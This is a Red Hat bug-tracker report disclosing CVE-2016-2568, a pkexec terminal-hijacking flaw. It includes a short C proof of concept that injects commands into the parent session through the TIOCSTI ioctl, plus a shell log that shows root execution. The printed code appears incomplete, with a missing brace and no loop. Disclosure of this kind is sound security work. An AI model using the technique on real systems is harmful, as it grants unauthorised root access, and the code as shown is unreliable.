Bug 1299955 - pkexec tty hijacking via TIOCSTI ioctl
Summary: pkexec tty hijacking via TIOCSTI ioctl
Alias: None
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
Depends On:
Blocks: CVE-2016-2568
TreeView+ depends on / blocked
Reported: 2016-01-19 15:37 UTC by Federico Manuel Bento
Modified: 2021-10-19 09:04 UTC (History)
2 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Last Closed: 2021-10-19 09:04:31 UTC

Attachments (Terms of Use)

Description Federico Manuel Bento 2016-01-19 15:37:52 UTC
When executing a program via "pkexec --user nonpriv program" the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid() and in "sudo" by using the "use_pty" flag.

$ cat test.c
#include <sys/ioctl.h>

int main()
 char *cmd = "id\n";
  ioctl(0, TIOCSTI, cmd++);

$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# pkexec --user saken ./test ----> last command i type in
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)

Comment 1 David Lewis 2016-02-26 16:36:10 UTC
You have to possess CAP_SYS_ADMIN to successfully invoke the TIOCSTI ioctl.  That implies to me that pkexec is allowing test to execute with that (and possibly other) capabilities.  If that's the case, you're merely running as root by another name.

Comment 2 David Lewis 2016-02-26 19:16:52 UTC
Or you can pass that tty ownership check that's been in there seemingly forever... sorry for the noise.

Note You need to log in before you can comment on or make changes to this bug.